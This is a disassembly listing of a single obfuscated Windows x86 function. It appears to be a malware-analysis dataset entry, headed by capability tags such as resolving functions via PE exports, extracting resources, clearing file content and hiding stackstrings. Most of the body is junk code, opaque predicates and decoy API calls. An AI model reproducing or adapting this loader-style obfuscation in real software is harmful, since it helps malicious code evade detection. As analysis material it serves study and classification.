Function at 0x1001ca37
Capabilities:
Check os version
Clear file content
Contain obfuscated stackstrings
Extract resource via kernel32 functions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060966
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x5cc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x358], 0xe971
mov dword [ebp - 0xc8], 0x6915a136
mov eax, dword [ebp - 0x358]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc8], 0x10
jmp 0x1001ca95
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0xfffffffb
jl 0x1001cad5
mov byte [ebp - 0x8f], 0
movzx eax, byte [ebp - 0x8f]
test eax, eax
je 0x1001cabf
push 0
push 0x1033
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [ebp - 0x5d], 0
movzx eax, byte [ebp - 0x5d]
test eax, eax
je 0x1001cad3
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
jmp 0x1001ca88
cmp dword [ebp + 0x10], 0
jbe 0x1001ce3f
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1001ce3f
mov dword [ebp - 0x160], 0
jmp 0x1001cb04
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 3
jge 0x1001cb20
mov eax, dword [ebp - 0x160]
mov dword [ebp + eax*4 - 0x354], 9
jmp 0x1001caf7
mov dword [ebp - 0x334], 0x3650
mov dword [ebp - 0x3fc], str.lzzp_lozeont_kfzc_mxxkwlz_abtdyy_cpkx_yefsdoua_kdurc_zltmsp
cmp dword [ebp - 0x334], 0x392e
jle 0x1001cbf2
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
and dword [ebp - 0x1ac], 0
jmp 0x1001cb62
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x115e
jge 0x1001cbf2
and dword [ebp - 0x188], 0
jmp 0x1001cb88
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0xab9
jge 0x1001cbed
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0x188]
sar eax, cl
cdq
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], edx
push dword [ebp - 0x39c]
push dword [ebp - 0x3a0]
lea ecx, [ebp - 0x5b8]
call fcn.10001af4
pop ecx
pop ecx
mov dword [ebp - 0x3cc], eax
mov ecx, dword [ebp - 0x3cc]
call fcn.10002e48
push eax
call fcn.10048e5f
pop ecx
lea ecx, [ebp - 0x5b8]
call fcn.10002e3e
jmp 0x1001cb7b
jmp 0x1001cb55
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x354], 0
jmp 0x1001cc20
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x354]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x354], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x354], 0xc
jge 0x1001cde9
mov dword [ebp - 0x44], 0x3eb905d0
mov dword [ebp - 0x18c], 0
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], 0
jmp 0x1001cc5c
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x2e
jg 0x1001cde4
mov dword [ebp - 0xcc], 0x9dade661
mov dword [ebp - 0x1b0], 0xfffffff6
mov dword [ebp - 0x3d4], 0xedda5659
mov dword [ebp - 0x18c], 0x1c71
cmp dword [ebp - 0x18c], 0x756
jl 0x1001cca6
mov dword [ebp - 0x33c], 1
jmp 0x1001ccad
and dword [ebp - 0x33c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x44]
cmp ecx, dword [ebp + eax - 0x354]
jl 0x1001cccb
mov dword [ebp - 0x270], 1
jmp 0x1001ccd2
and dword [ebp - 0x270], 0
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0xcc]
add eax, dword [ebp - 0x270]
imul eax, dword [ebp - 0x33c]
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xc07c2076
jb 0x1001cd06
mov dword [ebp - 0x344], 1
jmp 0x1001cd0d
and dword [ebp - 0x344], 0
mov eax, dword [ebp - 0x344]
neg eax
add eax, 5
mov dword [ebp - 0x1b0], eax
push 4
pop eax
shl eax, 0
imul eax, dword [ebp + eax - 0x354], 5
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 3
jbe 0x1001cd42
cmp dword [ebp - 0x18c], 0
cmp dword [ebp - 0x18c], 6
jae 0x1001cd57
mov dword [ebp - 0x298], 1
jmp 0x1001cd5e
and dword [ebp - 0x298], 0
mov dword [ebp - 0xcc], 0x213072c0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xcc]
sub ecx, dword [ebp + eax - 0x354]
cmp ecx, dword [ebp - 0x298]
jge 0x1001cd8e
mov dword [ebp - 0x324], 1
jmp 0x1001cd95
and dword [ebp - 0x324], 0
cmp dword [ebp - 0x324], 0x2e71
jle 0x1001cdad
mov dword [ebp - 0x1dc], 1
jmp 0x1001cdb4
and dword [ebp - 0x1dc], 0
cmp dword [ebp - 0x1dc], 0xe213
jle 0x1001cdcc
mov dword [ebp - 0x32c], 1
jmp 0x1001cdd3
and dword [ebp - 0x32c], 0
mov eax, dword [ebp - 0x32c]
mov dword [ebp - 0x3d4], eax
jmp 0x1001cc55
jmp 0x1001cc05
and dword [ebp - 4], 0
cmp dword [ebp - 0x334], 0x350b
jge 0x1001ce05
push dword [ebp - 0x3fc]
call fcn.10048e5f
pop ecx
jmp 0x1001ce21
or dword [ebp - 4], 0xffffffff
jmp 0x1001ce2b
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.10017146
pop ecx
pop ecx
jmp 0x1001f3f6
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x194], 1
mov dword [ebp - 0x2f8], 0x74db503b
mov dword [ebp - 0x2a8], 0x22955d48
cmp dword [ebp - 0x14], 0
je 0x1001cf18
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x14]
test eax, eax
je 0x1001ce8a
or eax, 0xffffffff
je 0x1001ce8a
mov dword [ebp - 0x1e8], 1
jmp 0x1001ce91
and dword [ebp - 0x1e8], 0
cmp dword [ebp - 0x1e8], 0
ja 0x1001cea9
cmp dword [ebp - 0x14], 0
jne 0x1001cea9
and dword [ebp - 0x320], 0
jmp 0x1001ceb3
mov dword [ebp - 0x320], 1
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x320]
cmp eax, 0x2152
jg 0x1001cecf
mov dword [ebp - 0x1f0], 1
jmp 0x1001ced6
and dword [ebp - 0x1f0], 0
cmp dword [ebp - 0x1f0], 0xee973417
jb 0x1001ceee
mov dword [ebp - 0x2a0], 1
jmp 0x1001cef5
and dword [ebp - 0x2a0], 0
mov eax, dword [ebp - 0x2a0]
add eax, 3
je 0x1001cf04
cmp dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jne 0x1001cf18
mov dword [ebp - 0x360], 1
jmp 0x1001cf1f
and dword [ebp - 0x360], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x450], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], 0
jmp 0x1001cf3e
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffe6
je 0x1001d33f
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x1c4], 0x3c444c9c
mov dword [ebp - 0x2c0], 0xef6e88f3
mov dword [ebp - 0x434], 0x2b3a3c3a
mov dword [ebp - 0x430], 0x2b3a3c3a
mov dword [ebp - 0x42c], 0x2b3a3c3a
mov dword [ebp - 0x428], 0x2b3a3c3a
lea ecx, [ebp - 0x1b9]
call fcn.100038ac
push eax
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x434]
push eax
lea ecx, [ebp - 0x548]
call fcn.100100c8
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x440]
call fcn.100100a2
mov dword [ebp - 4], 2
mov dword [ebp - 0x58], 0
jmp 0x1001cfd7
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 6
jl 0x1001d30e
mov dword [ebp - 0x1cc], 0x294b58fe
mov dword [ebp - 0x178], 0xffffffff
mov dword [ebp - 0x3e0], 1
mov dword [ebp - 0x120], 0
jmp 0x1001d018
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 1
jge 0x1001d034
mov eax, dword [ebp - 0x120]
mov dword [ebp + eax*4 - 0x128], 0xe77da19a
jmp 0x1001d00b
cmp dword [ebp - 0x58], 0
je 0x1001d044
cmp dword [ebp - 0x14], 0
jne 0x1001d168
cmp dword [ebp - 0x14], 0
jne 0x1001d10e
cmp dword [ebp - 0x178], 2
jne 0x1001d063
mov dword [ebp - 0x1f8], 1
jmp 0x1001d06a
and dword [ebp - 0x1f8], 0
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x194]
cmp eax, dword [ebp - 0x178]
jle 0x1001d0a5
mov dword [ebp - 0x394], 1
jmp 0x1001d0ac
and dword [ebp - 0x394], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x128]
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x2f8], 0xffffffff
cmp dword [ebp - 0x2f8], 0xd69b45c
jle 0x1001d0e1
mov dword [ebp - 0x200], 1
jmp 0x1001d0e8
and dword [ebp - 0x200], 0
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x2a8]
imul eax, dword [ebp - 0x3e0]
test eax, eax
jne 0x1001d10e
and dword [ebp - 0x208], 0
jmp 0x1001d118
mov dword [ebp - 0x208], 1
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x208], eax
jg 0x1001d12f
mov dword [ebp - 0x338], 1
jmp 0x1001d136
and dword [ebp - 0x338], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x338], eax
jge 0x1001d14d
mov dword [ebp - 0x210], 1
jmp 0x1001d154
and dword [ebp - 0x210], 0
mov eax, dword [ebp - 0x210]
sub eax, dword [ebp - 0x14]
jne 0x1001d168
and dword [ebp - 0x2b0], 0
jmp 0x1001d172
mov dword [ebp - 0x2b0], 1
mov eax, dword [ebp - 0x2b0]
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x194]
cmp eax, dword [ebp - 0x58]
je 0x1001d195
mov dword [ebp - 0x218], 1
jmp 0x1001d19c
and dword [ebp - 0x218], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x128]
cmp eax, dword [ebp - 0x218]
jne 0x1001d1bd
mov dword [ebp - 0x300], 1
jmp 0x1001d1c4
and dword [ebp - 0x300], 0
cmp dword [ebp - 0x300], 0x76a1
jle 0x1001d1e2
cmp dword [ebp - 0x178], 0
jne 0x1001d1e2
and dword [ebp - 0x220], 0
jmp 0x1001d1ec
mov dword [ebp - 0x220], 1
cmp dword [ebp - 0x220], 0xfffffffc
jne 0x1001d201
mov dword [ebp - 0x2b8], 1
jmp 0x1001d208
and dword [ebp - 0x2b8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x128]
cmp dword [ebp - 0x2b8], eax
jge 0x1001d229
mov dword [ebp - 0x228], 1
jmp 0x1001d230
and dword [ebp - 0x228], 0
mov dword [ebp - 0x1c4], 0x69b1
mov eax, dword [ebp - 0x1c4]
cmp eax, dword [ebp - 0x228]
jl 0x1001d254
mov dword [ebp - 0x328], 1
jmp 0x1001d25b
and dword [ebp - 0x328], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x128]
cmp eax, dword [ebp - 0x328]
jl 0x1001d27c
mov dword [ebp - 0x230], 1
jmp 0x1001d283
and dword [ebp - 0x230], 0
mov eax, dword [ebp - 0x230]
neg eax
add eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x2c0], eax
imul eax, dword [ebp - 0x2c0], 0xffff
cmp eax, 0xe89b93b3
ja 0x1001d2b4
mov dword [ebp - 0x238], 1
jmp 0x1001d2bb
and dword [ebp - 0x238], 0
cmp dword [ebp - 0x238], 0xfffffff6
jg 0x1001d2d0
mov dword [ebp - 0x308], 1
jmp 0x1001d2d7
and dword [ebp - 0x308], 0
cmp dword [ebp - 0x308], 0
jle 0x1001d2ec
mov dword [ebp - 0x240], 1
jmp 0x1001d2f3
and dword [ebp - 0x240], 0
imul esi, dword [ebp - 0x240], 0xffffffff
push 0
lea ecx, [ebp - 0x440]
call fcn.10003037
mov dword [eax], esi
jmp 0x1001cfd0
cmp dword [ebp - 0x194], 0
je 0x1001d32b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x440]
call fcn.1000301b
jmp 0x1001cf37
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x440]
call fcn.1000301b
jmp 0x1001cf37
mov dword [ebp - 0x5c], 0xe56f
mov dword [ebp - 0x98], 0xfffffffc
mov dword [ebp - 0xc0], 2
mov dword [ebp - 0x368], 0xa74db503
mov dword [ebp - 0x2e0], 0x55d48264
mov dword [ebp - 0x5c], 0xdde0bcd8
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x498], eax
mov eax, 0x23ed15de
test eax, eax
je 0x1001d396
cmp dword [ebp - 0x5c], 0
je 0x1001d396
and dword [ebp - 0x2c8], 0
jmp 0x1001d3a0
mov dword [ebp - 0x2c8], 1
cmp dword [ebp - 0x2c8], 0
je 0x1001d4c1
mov dword [ebp - 0x1b8], 0x46cd
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0x248], 0xfffffffc
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
je 0x1001d44e
mov eax, dword [ebp - 0xc0]
imul eax, dword [ebp - 0x248]
imul eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0xc0]
cmp ecx, eax
je 0x1001d40d
mov dword [ebp - 0x348], 1
jmp 0x1001d414
and dword [ebp - 0x348], 0
mov eax, dword [ebp - 0x348]
neg eax
cmp eax, 1
jge 0x1001d42d
mov dword [ebp - 0x250], 1
jmp 0x1001d434
and dword [ebp - 0x250], 0
mov eax, dword [ebp - 0xbc]
add eax, dword [ebp - 0x250]
je 0x1001d44e
mov dword [ebp - 0x2d0], 1
jmp 0x1001d455
and dword [ebp - 0x2d0], 0
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0x2d0], eax
jl 0x1001d46f
mov dword [ebp - 0x258], 1
jmp 0x1001d476
and dword [ebp - 0x258], 0
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x1b8]
cmp eax, dword [ebp - 0xbc]
jg 0x1001d4a9
mov dword [ebp - 0x310], 1
jmp 0x1001d4b0
and dword [ebp - 0x310], 0
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0xc0], eax
jmp 0x1001d751
mov dword [ebp - 0x2d8], 0xb864
mov dword [ebp - 0x1c8], 2
cmp dword [ebp - 0x5c], 0xfffffffd
je 0x1001d4e7
mov dword [ebp - 0x318], 1
jmp 0x1001d4ee
and dword [ebp - 0x318], 0
cmp dword [ebp - 0x98], 0
jge 0x1001d503
mov dword [ebp - 0x260], 1
jmp 0x1001d50a
and dword [ebp - 0x260], 0
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x5c]
imul eax, dword [ebp - 0x260]
mov dword [ebp - 0x2d8], eax
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0x2d8]
jg 0x1001d540
mov dword [ebp - 0x268], 1
jmp 0x1001d547
and dword [ebp - 0x268], 0
cmp dword [ebp - 0x268], 0xfffffff8
jl 0x1001d55c
mov dword [ebp - 0x330], 1
jmp 0x1001d563
and dword [ebp - 0x330], 0
mov eax, dword [ebp - 0x330]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x368]
jge 0x1001d589
mov dword [ebp - 0x1d0], 1
jmp 0x1001d590
and dword [ebp - 0x1d0], 0
mov eax, dword [ebp - 0x1c8]
add eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x2e0], eax
mov eax, dword [ebp - 0x2e0]
cmp eax, dword [ebp - 0x1c8]
jle 0x1001d5bc
mov dword [ebp - 0x278], 1
jmp 0x1001d5c3
and dword [ebp - 0x278], 0
mov eax, dword [ebp - 0x5c]
imul eax, dword [ebp - 0x278]
cmp dword [ebp - 0x318], eax
je 0x1001d5e7
mov eax, 0xffff
test eax, eax
jne 0x1001d5e7
and dword [ebp - 0x280], 0
jmp 0x1001d5f1
mov dword [ebp - 0x280], 1
mov eax, dword [ebp - 0x280]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x2e8], 0x6320
mov dword [ebp - 0x3bc], str.ebluu_cmmz_turwwzy_eemk_lszuhqrbs_jjc_tjjtkk_haa_akxuatas_gbngpyfyl_spiogo_bvvhywi_njmrd
cmp dword [ebp - 0x2e8], 0x637b
jle 0x1001d6ee
push 0x851
push 0
push 0
push 0
push 0
push 0x1d16
push 0x1518
push 0x16b6
call dword [sym.imp.USER32.dll_ScrollWindowEx]
and dword [ebp - 0x130], 0
jmp 0x1001d659
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x9d5
jge 0x1001d6ee
and dword [ebp - 0x180], 0
jmp 0x1001d67f
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x47eb
jge 0x1001d6e9
and dword [ebp - 0x138], 0
jmp 0x1001d6a1
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0x2ec4
jge 0x1001d6e7
mov eax, dword [ebp - 0x130]
cdq
idiv dword [ebp - 0x180]
and edx, dword [ebp - 0x138]
mov eax, edx
cdq
mov dword [ebp - 0x3ac], eax
mov dword [ebp - 0x3a8], edx
push dword [ebp - 0x3a8]
push dword [ebp - 0x3ac]
mov ecx, 0x1007cff8
call fcn.10002e68
jmp 0x1001d694
jmp 0x1001d672
jmp 0x1001d64c
mov byte [ebp - 0x92], 0
mov dword [ebp - 4], 3
cmp dword [ebp - 0x2e8], 0x6118
jge 0x1001d718
mov edx, dword [ebp - 0x3bc]
mov ecx, 0x1007cff8
call fcn.100050b8
jmp 0x1001d734
or dword [ebp - 4], 0xffffffff
jmp 0x1001d73e
movzx eax, byte [ebp - 0x92]
test eax, eax
je 0x1001d751
push 0
call dword [sym.imp.USER32.dll_IsRectEmpty]
mov byte [ebp - 0x65], 0
movzx eax, byte [ebp - 0x65]
test eax, eax
je 0x1001d76a
push 0
push 0xf9f
call dword [sym.imp.USER32.dll_RemovePropA]
cmp dword [ebp + 0x10], 0
jne 0x1001e589
mov dword [ebp - 0x140], 0xe8cff0ea
mov dword [ebp - 0x4cc], 3
mov dword [ebp - 0x19c], 0
jmp 0x1001d7a1
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 1
jge 0x1001d7bd
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0x288], 0xb108
jmp 0x1001d794
mov dword [ebp - 0x140], 0
jmp 0x1001d7d6
mov eax, dword [ebp - 0x140]
dec eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0xfffffffb
jge 0x1001da43
mov dword [ebp - 0xa0], 0x72d4ea68
mov dword [ebp - 0xac], 0xc4888999
mov dword [ebp - 0x378], 0xfffffff8
mov dword [ebp - 0x1a4], 0
jmp 0x1001d81a
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 4
jge 0x1001d836
mov eax, dword [ebp - 0x1a4]
mov dword [ebp + eax*4 - 0x558], 0x46b5
jmp 0x1001d80d
mov dword [ebp - 0xa0], 0
jmp 0x1001d84f
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0
jg 0x1001da3e
mov dword [ebp - 0xac], 0xfffffff9
mov dword [ebp - 0xac], 0
jmp 0x1001d87f
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jg 0x1001da39
mov dword [ebp - 0x370], 0
mov dword [ebp - 0x3c8], 0xffffffff
mov eax, dword [ebp - 0xac]
cmp dword [ebp + eax*4 - 0x288], 0
je 0x1001d9e9
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x3e4], 5
mov byte [ebp - 0x94], 0
movzx eax, byte [ebp - 0x94]
test eax, eax
je 0x1001d8e2
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
cmp dword [ebp - 0xa0], 0
jne 0x1001d9d1
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x288], 0x4957
mov eax, 0x4957
cmp eax, 0xde5
jne 0x1001d918
mov dword [ebp - 0x340], 1
jmp 0x1001d91f
and dword [ebp - 0x340], 0
mov eax, dword [ebp - 0x340]
sub eax, dword [ebp - 0x148]
cmp eax, dword [ebp - 0x148]
jl 0x1001d93f
mov dword [ebp - 0x290], 1
jmp 0x1001d946
and dword [ebp - 0x290], 0
imul eax, dword [ebp - 0x290], 0xfff7
cmp eax, dword [ebp - 0x148]
jne 0x1001d964
mov dword [ebp - 0x2f0], 1
jmp 0x1001d96b
and dword [ebp - 0x2f0], 0
mov eax, dword [ebp - 0x2f0]
sub eax, 3
jne 0x1001d988
mov eax, 0xfff7
test eax, eax
jne 0x1001d988
and dword [ebp - 0x1e0], 0
jmp 0x1001d992
mov dword [ebp - 0x1e0], 1
mov eax, dword [ebp - 0x1e0]
inc eax
cmp eax, dword [ebp - 0x370]
jl 0x1001d9ad
mov dword [ebp - 0x1e4], 1
jmp 0x1001d9b4
and dword [ebp - 0x1e4], 0
imul eax, dword [ebp - 0x1e4], 0xb4af
mov ecx, dword [ebp - 0x148]
add ecx, eax
jne 0x1001d9d1
and dword [ebp - 0x1ec], 0
jmp 0x1001d9db
mov dword [ebp - 0x1ec], 1
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x3e4], eax
jmp 0x1001da34
mov byte [ebp - 0x6d], 0
movzx eax, byte [ebp - 0x6d]
test eax, eax
je 0x1001da00
push 0xca2
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x558]
cmp eax, dword [ebp - 0x378]
je 0x1001da21
mov dword [ebp - 0x1f4], 1
jmp 0x1001da28
and dword [ebp - 0x1f4], 0
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x3c8], eax
jmp 0x1001d872
jmp 0x1001d842
jmp 0x1001d7c9
mov byte [ebp - 0x7d], 0
movzx eax, byte [ebp - 0x7d]
test eax, eax
je 0x1001da5c
push 0xa09
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.100110ce
mov dword [ebp - 0x164], eax
push 4
lea ecx, [ebp - 0x464]
call fcn.10002fdf
mov dword [ebp - 4], 5
mov dword [ebp - 0x150], 1
mov dword [ebp - 0x1a8], 0
jmp 0x1001daa4
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 4
jge 0x1001dac6
push dword [ebp - 0x1a8]
lea ecx, [ebp - 0x464]
call fcn.10003037
mov dword [eax], 1
jmp 0x1001da97
mov dword [ebp - 0x150], 0
jmp 0x1001dadf
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 3
jg 0x1001db04
mov byte [ebp - 0x8d], 0
movzx eax, byte [ebp - 0x8d]
test eax, eax
je 0x1001db02
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
jmp 0x1001dad2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x464]
call fcn.1000301b
mov dword [ebp - 0x64], 0xfffffff7
mov dword [ebp - 0x380], 0x926128f3
mov dword [ebp - 0x46c], 0x5a83d87e
mov dword [ebp - 0x190], 0
jmp 0x1001db47
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 3
jge 0x1001db63
mov eax, dword [ebp - 0x190]
mov dword [ebp + eax*4 - 0x4f8], 4
jmp 0x1001db3a
mov dword [ebp - 0x64], 0xffffffeb
jmp 0x1001db73
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 7
je 0x1001dcc6
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x28], 2
jmp 0x1001db94
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jl 0x1001dbce
mov byte [ebp - 0x93], 0
movzx eax, byte [ebp - 0x93]
test eax, eax
je 0x1001dbc4
push 0xbf0
push 0
push 0
push 0
push 0xbce
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
cmp dword [ebp - 0x28], 0
je 0x1001dbcc
jmp 0x1001dbce
jmp 0x1001db8d
cmp dword [ebp - 0x64], 0
jbe 0x1001dbe0
mov dword [ebp - 0x204], 1
jmp 0x1001dbe7
and dword [ebp - 0x204], 0
cmp dword [ebp - 0x64], 0
ja 0x1001dbf9
mov dword [ebp - 0x1fc], 1
jmp 0x1001dc00
and dword [ebp - 0x1fc], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x1fc]
jne 0x1001dc17
mov dword [ebp - 0x20c], 1
jmp 0x1001dc1e
and dword [ebp - 0x20c], 0
mov eax, dword [ebp - 0x204]
sub eax, dword [ebp - 0x20c]
cmp eax, dword [ebp - 0x28]
jle 0x1001dc3b
mov dword [ebp - 0x214], 1
jmp 0x1001dc42
and dword [ebp - 0x214], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4f8]
imul eax, dword [ebp - 0x214]
add eax, dword [ebp - 0x64]
cmp eax, 0x35240ca7
je 0x1001dc72
cmp dword [ebp - 0x28], 0
je 0x1001dc72
mov dword [ebp - 0x21c], 1
jmp 0x1001dc79
and dword [ebp - 0x21c], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x21c]
jle 0x1001dc90
mov dword [ebp - 0x224], 1
jmp 0x1001dc97
and dword [ebp - 0x224], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x224], eax
jne 0x1001dcae
mov dword [ebp - 0x22c], 1
jmp 0x1001dcb5
and dword [ebp - 0x22c], 0
mov eax, dword [ebp - 0x22c]
mov dword [ebp - 0x380], eax
jmp 0x1001db6c
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x448], 0xffffffff
mov dword [ebp - 0x44c], 0xbc1c234a
mov dword [ebp - 0x454], 0x3ae4c7ba
mov dword [ebp - 0x49c], 0xffffffff
mov dword [ebp - 0x4a4], 0x504ed09e
mov dword [ebp - 0x4ac], 0xc3d076c5
mov dword [ebp - 0x4c8], 1
mov dword [ebp - 0x4d0], 0xe2138b36
mov dword [ebp - 0x470], 0xffffffff
mov dword [ebp - 0x474], 0xca6d786f
mov dword [ebp - 0x6c], 0
jmp 0x1001dd41
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x14
jge 0x1001df11
mov dword [ebp - 0xc4], 1
mov dword [ebp - 0x444], 0xbb7ab61b
mov dword [ebp - 0x47c], 0xfffffffd
mov dword [ebp - 0x264], 0xaecaa705
mov dword [ebp - 0x158], 0
jmp 0x1001dd8c
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 3
jge 0x1001dda8
mov eax, dword [ebp - 0x158]
mov dword [ebp + eax*4 - 0x5dc], 0x3e763161
jmp 0x1001dd7f
cmp dword [ebp - 0xc4], 0xffffffff
ja 0x1001ddbd
mov dword [ebp - 0x24c], 1
jmp 0x1001ddc4
and dword [ebp - 0x24c], 0
mov eax, dword [ebp - 0xc4]
imul eax, dword [ebp - 0x6c]
cmp dword [ebp - 0xc4], eax
jne 0x1001dde2
mov dword [ebp - 0x234], 1
jmp 0x1001dde9
and dword [ebp - 0x234], 0
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x234]
cmp eax, 0xfffffff7
jle 0x1001de04
mov dword [ebp - 0x23c], 1
jmp 0x1001de0b
and dword [ebp - 0x23c], 0
mov eax, dword [ebp - 0xc4]
cmp dword [ebp - 0x23c], eax
je 0x1001de25
mov dword [ebp - 0x244], 1
